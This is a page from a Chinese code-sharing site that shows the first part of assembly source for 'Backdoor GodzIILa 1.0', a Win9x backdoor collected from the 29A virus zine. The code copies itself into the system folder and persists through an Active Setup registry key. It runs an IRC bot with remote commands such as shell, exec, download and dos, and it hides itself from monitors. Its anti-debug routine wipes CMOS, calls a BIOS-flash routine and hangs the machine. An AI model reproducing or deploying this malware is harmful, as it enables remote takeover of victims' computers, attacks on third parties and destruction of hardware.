29a-7.020
来自「从29A上收集的病毒源码」· 020 代码 · 共 3,316 行 · 第 1/5 页
020
3,316 行
COMMENT ^
---------------------------------------------------------------------------
Backdoor GodzIILa 1.0
---------------------------------------------------------------------------
win9x backdoor with some kewl featurez. written in offset-independant way. uses
z0mbie's KME to produce new generations (code is fully functional, but u will
still need to write your own loader. code is pretty much self-explanatory and
well commented. some parts of it were inspired by Ratter's I-worm Anarxy, which
is a masterpiece, but done in a more optimized way. codestyle ripped from z0mbie,
the c00l35t dude on the planet :)
Greets to IIL team members (BoyScout, DownBload, Fr1c, h4z4rd, StYx), AS, NHC team
and everyone participating on forum discussions.
Coded by Sunnis (annihilator@inet.hr). Come and visit IIL @ www.ii-labs.tk
^
p586
model flat, stdcall
locals __
%NOINCL
include ..\include\mz.inc
include ..\include\pe.inc
include ..\include\useful.inc
include ..\include\myapis.inc
include ..\include\razno.inc
include ..\include\s2c.inc
include ..\maplib\fioexhdr.inc
include ..\maplib\extrns.inc
include ..\kme\kme.inc
; flags
;CRC32_TEST = 1 ; integrity check via CRC32
;TRAP_TEST = 1 ; anti-debug thread: check for a tracer
;PENTIUM_TEST = 1 ; check for pentium processor
IRC_BOT = 1 ; launch an irc bot
IRC_LOG = 1 ; log the irc traffic
;LOCALHOST = 1 ; connect to the local host (irc, i used tes/tirc irc server)
BUILD_DROPPER=1 ; build a dropper
;ANTI_AV=1 ; kill local AV & FW
;STEALTH_API=1 ; stealth our registry keys
STEALTH_API2=1 ; filemon and some AV an-access monitor fuckup
;ANTI_DEBUG=1 ; check for a debugger & preform fuckup
INET_THREADZ_COUNT equ 1 ; just an irc bot for now
CODE_CRC32 equ 0
CONNECT_PORT equ 6667 ; hybserv on irc.carnet.hr
.data
db ?
.code
troj_start:
NUM_DLLZ equ 8
bot_password dd 0
org $-4
whash <IllegalInstructionLabs_Rock_Da_House> ; default bot password. don't forget to change it! :)
operators:
dd 0 ; numba of ops
operator MAX_OPERZ_ALLOWED dup (<>)
dd -1
cmd_dispatch_table: BUILD_DISPATCH_TABLE login, quit, reconnect, opme, exec, version, info, shell, chg_pswd, send
BUILD_DISPATCH_TABLE del, reboot, ls, pwd, cd, mkdir, rmdir, move, copy, spawn
BUILD_DISPATCH_TABLE msgbox, cleanclip, beep, closeaw, opencd, closecd, minaw, syskill, killkeyb, killmouse
BUILD_DISPATCH_TABLE logout, download, procs, kill, opers, dos, stopdos
db 5, 01h, "PING"
dd offset bot_PING_cmd
db 9, 01h, "DCC SEND"
dd offset bot_recv_cmd
db 0
start:
IFDEF BUILD_DROPPER
include dropper.asm
include ..\include\console.inc
ENDIF ; BUILD_DROPPER
troj_entry: pusha
@SEH_SetupFrame <jmp troj_exit>
call $+5
gdelta: pop ebp ; calculate global delta handle
G equ <-gdelta[ebp]> ; all variables relative to gdelta will be accessed in form of: varname G
IFDEF CRC32_TEST
lea edx, __CRC32_prot G ; take ptr to CRC32 protected code
mov ecx, troj_end-__CRC32_prot ; size of code
call CRC32 ; calculate CRC32
db 02dh ; and compare it...
crc32_glob dd CODE_CRC32
__CRC32_prot: neg eax ; (CRC32 == OK) ? CF=0 : CF=1
sbb ecx, ecx ; CF->ECX
jecxnz troj_exit
ENDIF ; CRC32_TEST
IFDEF PENTIUM_TEST
pushf
pop ecx ; EFLAGS -> ecx
mov eax, ecx ; now in eax
bts eax, 21 ; set ID bit
push eax
popf ; eax -> EFLAGS
pushf
pop eax ; EFLAGS -> eax
sub ecx, eax ; is it the same?
jecxz troj_exit ; blah, we r on 486-
xor eax, eax
inc eax ; eax = 1 for cpuid
cpuid
and eax, (16-1) shl 8 ; proc. family r bits 8-11
cmp ah, 4 ; is it 486?
jz troj_exit ; lucky 486 :)
ENDIF ; PENTIUM_TEST
call get_base ; load kernel imagebase
lea edi, kernel G
stosd ; save it
lea edi, [edi+kernel32-kernel-4] ; add the difference and substract NULL offset
push edi ; save it 4 l8r
stosd ; into first dll record
xchg ebx, eax ; kernel imagebase goes into ebx
gethash <LoadLibraryA> ; we need this API to map those dlls into ur own address space
push hash ; push calculated hash
call load_dll_address ; and find the damn API
xchg esi, eax ; esi = LoadLibraryA
lea edi, [edi+size dll_record-4] ; lea edi, [ebp+shlwapi-gdelta] = second dll record, but this 1 produces smaller opcode
push NUM_DLLZ-1 ; counter into ebx
pop ebx
@pushsz "WINMM" ; TODO: crypt somehow this crap
@pushsz "MSVCRT"
@pushsz "ADVAPI32" ; reverse order
@pushsz "WS2_32"
@pushsz "WININET"
jmp a0001_skip ; skip exit routine
troj_exit: @SEH_RemoveFrame ; i've put it here so that it can be in the range of those jecxz
popa
push 0
db 0b8h
_dd_ExitThread dd ?
call eax
a0001_skip: @pushsz "USER32"
@pushsz "SHLWAPI"
__1: call esi ; LoadLibraryA
stosd ; save it in dll record
lea edi, [edi+9] ; skip unnecessary structure members
dec ebx
jnz __1 ; decrement counter and loop
mov ebx, ebp
sub ebx, offset gdelta ; ebx = delta offset
push NUM_DLLZ
pop ecx ; for all dll records
pop edi ; lea edi, [ebp+kernel32-gdelta]
push edi ; we'll need it l8r
__rel: lea edi, [edi.Hash_table] ; skip Dll_Imagebase
mov esi, edi ; to esi as store ptr
lodsd ; take a hard-coded value
add eax, ebx ; relocate
stosd ; and save it
lodsd ; repeat for Address_table
add eax, ebx ; relocate
stosd ; and save it
inc edi ; skip Api_number
loop __rel ; loop for every dll record
pop esi ; lea esi, [ebp+kernel32-gdelta]
push NUM_DLLZ
pop ecx ; all the dlls
__dll: pusha
lodsd
xchg eax, ebx ; ebx = dll imagebase
lodsd
push eax ; save ptr to Hash_table
lodsd ; take ptr to Address_table
xchg eax, edi ; in edi
lodsb
movzx ecx, al ; Api_number in ecx
pop esi ; and restore esi
__api: lodsd ; take APIs hash
push eax ; push it as procedure param.
call load_dll_address ; find its address
xchg eax, ecx
jecxz troj_exit ; exit on error
xchg eax, ecx
stosd ; save APIs address
loop __api ; and loop for all APIs
add [esp.Pushad_esi], size dll_record ; take ptr to next dll record
popa
loop __dll ; and loop for that dll
PATCH_API ExitThread, wsprintfA, HeapAlloc, HeapFree
lea esi, _OpenMutexA G
x_push eax, KewlMutex~
push esp
xor ebx, ebx
push ebx
push SYNCHRONIZE
lodsd
call eax ; OpenMutexA
x_pop
xchg eax, ecx
;jecxz __new ; is it already installed?
jmp __new
push ecx
lodsd
call eax ; CloseHandle
jmp troj_exit
__new: add esi, 4
push ebx ebx ebx ebx ebx
callg PeekMessageA ; remove the hour-glass cursor
lodsd
push 1 ; disable error messages
call eax ; SetErrorMode
push ebx ebx ebx
lodsd
call eax ; HeapCreate
test eax, eax
jz troj_exit
mov _dd_heap_handle G, eax
mov _dd_heap_handle_1 G, eax
mov heap_handle G, eax
mov eax, fs:[TEB_PEB] ; take ptr to PEB
test eax, eax ; is it above 80000000h?
jns NT_startup ; if so, we r on NT
lodsd
xchg eax, ecx
jecxz __skip ; is RegisterServiceProcess present?
push 1
push ebx
call ecx ; is so, stealth ourselvez
__skip: mov eax, 200
call malloc
xchg eax, ebx
push esi
lea esi, _get_r0_mark G
call call_in_ring0
movzx ecx, (_which_gen G).byte ptr 0
jecxz __first_gen
dec ecx
jecxz __loaded_in_windir
jmp __ex
__first_gen: inc (_which_gen G).byte ptr 0
lea esi, _store_r0_mark G
call call_in_ring0
pop esi
call __do_file_copy
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push STARTF_USESHOWWINDOW
push 10
pop ecx
push eax
loop $-1
push 68
mov edx, esp
sub esp, size PROCESS_INFORMATION
push esp
push edx
push eax
push eax
push CREATE_NEW_CONSOLE ; !!
push eax
push eax
push eax
push eax
push ebx
callg CreateProcessA ; Y DA FUCK IT INHERITS DOS WINDOW??
add esp, 68+size PROCESS_INFORMATION
__ex: xor ecx, ecx
push ecx
callg GetModuleHandleA
push eax
callg FreeLibrary
push edi
callg DeleteFileA
xchg eax, edi
call free
push 0
callg ExitProcess ; ExitThread surprisingly causes gpf, but only when trw200 is on!
__loaded_in_windir: mov (_which_gen G).byte ptr 0, 2
lea esi, _store_r0_mark G
call call_in_ring0
pop esi
jmp __continue
__do_file_copy: push ebx esi
push 8
pop ebx
x_push eax, !%windir!%\system\system32.exe~
lea edi, [esp+16]
mov esi, _Sleep G
call GenRandString
x_stosd <.exe>
xor al, al
stosb
mov esi, [esp+_xsize]
mov ebx, [esp+_xsize+4]
_xsize = _xsize+8
mov ecx, esp
push 200
push ebx
push ecx
lodsd
call eax ; ExpandEnvironmentStringsA
x_pop
mov eax, 300
call malloc
xchg eax, edi
push 300
push edi
push 0
lodsd
call eax ; GetModuleFileNameA
push 0
push ebx
push edi
lodsd
call eax ; CopyFileA
retn
__continue: push 200
push ebx
push 0
callg GetModuleFileNameA
xchg eax, ecx
x_push eax, <Software\Microsoft\Active Setup\Installed Components\EvionInstall~>
mov edi, _xsize
mov ecx, esp
x_push eax, <StubPath~>
add edi, _xsize
mov eax, esp
push esi
push ebx
push REG_SZ
push eax
push ecx
push HKEY_LOCAL_MACHINE
callg SHSetValueA
lea esp, [esp+edi] ; adjust stack frame
x_push ecx, <Software\Microsoft\Active Setup\Installed Components\EvionInstall~>
push esp
push HKEY_CURRENT_USER
callg SHDeleteKeyA
x_pop
xchg eax, ebx
call free
x_push eax, KewlMutex~
push esp
push 1
push 0
callg CreateMutexA
x_pop
test eax, eax
jz troj_exit
callg GetLastError
xor al, ERROR_ALREADY_EXISTS
jz troj_exit
IFDEF ANTI_AV
lea eax, anti_av_thread G
call Create_Thread
mov h_av_thread G, eax
ENDIF ; ANTI_AV
IFDEF STEALTH_API
lea eax, stealth_thread G
call Create_Thread
mov h_stealth_thread G, eax
ENDIF ; STEALTH_API
IFDEF STEALTH_API2
lea eax, stealth_thread2 G
call Create_Thread
mov h_stealth_thread2 G, eax
ENDIF ; STEALTH_API2
IFDEF ANTI_DEBUG
lea eax, killer_thread G
call Create_Thread
mov h_killer_thread G, eax
ENDIF ; ANTI_DEBUG
__main_thread_wait: push 1000
callg Sleep
__main_thread: call onlyne
jecxz __main_thread_wait
mov (_onlyne_flag G).byte ptr 0, 1
sub esp, 1000h
push esp
push 1
callg WSAStartup
add esp, 1000h
test eax, eax
jnz troj_exit
IFDEF IRC_BOT
lea eax, ircbot_thread G
call Create_Thread
mov inet_threadz G, eax
ENDIF ; IRC_BOT
__onlyne_loop: push 1000
callg Sleep
call onlyne
jecxz __not_onlyne
jmp __onlyne_loop
__not_onlyne: and (_onlyne_flag G).byte ptr 0, 0
push -1
push 1
lea eax, inet_threadz G
push eax
push INET_THREADZ_COUNT
callg WaitForMultipleObjects
inc eax
cmp eax, WAIT_TIMEOUT
jnz __close_threads
lea esi, inet_threadz G
push INET_THREADZ_COUNT
pop ecx
__kill_threads: push ecx
push 0
lodsd
push eax
callg TerminateThread
pop ecx
loop __kill_threads
__close_threads: lea esi, inet_threadz G
push INET_THREADZ_COUNT
pop ecx
__close_handles: push ecx
lodsd
push eax
callg CloseHandle
pop ecx
loop __close_handles
callg WSACleanup
push (heap_handle G).dword ptr 0
callg HeapDestroy
jmp __main_thread
killer_thread proc pascal
call $+5
killdelta: pop ebx
_killa equ <-killdelta[ebx]>
__cycle:
IFDEF TRAP_TEST
pusha
lea eax, _traced _killa ; calculate offset of _traced_off
mov _traced_off _killa, eax ; and store it
xor eax, eax
call __trap
mov eax, 12345678h
_traced_off equ $-4
inc byte ptr [eax] ; byte ptr [ebp+_traced-gdelta], set the mark
xor eax, eax
retn
__trap: push dword ptr fs:[eax] ; set new SEH frame
mov fs:[eax], esp
pushf
or byte ptr [esp+1], 1 ; set TF (bit 8)
popf
nop
xor eax, eax
pop dword ptr fs:[eax]
pop ebx ; add esp, 4 if it was an exception, otherwise remove the return address
popa
dec (_traced _killa).byte ptr 0
js __do_fuckup ; some asshole is tracing us...
ENDIF ; TRAP_TEST
mov eax, ebx
cdq
mov eax, fs:[edx.TEB_ClientId.CID_UniqueProcess] ; test app-level debugger
xor eax, ecx
xor ecx, eax
xor eax, ecx
jecxnz __do_fuckup
call _GetTickCount _killa
xchg eax, ebx
nop
nop
call _GetTickCount _killa
sub eax,ebx
jnz __do_fuckup
x_push eax, <\\.\SICE>
mov eax, esp
cdq
push edx
push FILE_ATTRIBUTE_READONLY
push OPEN_EXISTING
push edx
push FILE_SHARE_READ
push GENERIC_READ
push eax
call _CreateFileA _killa
inc eax
jz __do_fuckup
jmp __cycle
__do_fuckup: lea esi, __r0_fuckup _killa
call call_in_ring0
__r0_fuckup: xor al, al ; fuck CMOS
__cmos: out 70h, al
out 71h, al
dec al
jnz __cmos
call cihflash ; yo momma :))
int 19h ; hang 'em all!
killer_thread endp
stealth_thread2 proc pascal
call $+5
stealthdlta2: pop ebx
_STLTH2 equ <-stealthdlta2[ebx]>
lea eax, _this_name _STLTH2
push MAX_PATH
push eax
push 0
call _GetModuleFileNameA _STLTH2
xchg eax, ecx
jecxz __1
mov __this_length _STLTH2, ecx
lea esi, __ring_fs _STLTH2
call call_in_ring0
__1: jmp $
__ring_fs: pusha
push PAGEFIXED or PAGEZEROINIT ; flags
xor eax, eax
push eax ; *PhysAddr
push eax ; maxPhys
push eax ; minPhys
push eax ; AlignMask
push eax ; handle of VM (==0 if PG_SYS)
push PG_SYS ; pType
push (stealthsplore_size+4095) shr 12 ; nPages
VMMcall PageAllocate
add esp, 8*4
mov [esp.Pushad_eax], eax ; eax = mem handle
push PC_STATIC ; OR_MASK
push not (PC_WRITEABLE+PC_USER) ; AND_MASK
push (stealthsplore_size+4095) shr 12
shr eax, 12
push eax
VMMcall PageModifyPermissions ; make pages inaccessible from ring3
add esp, 4*4
mov edi, [esp.Pushad_eax]
push edi
lea esi, stealthsplore_start _STLTH2
mov ecx, stealthsplore_size
rep movsb
pop eax
⌨️ 快捷键说明
复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?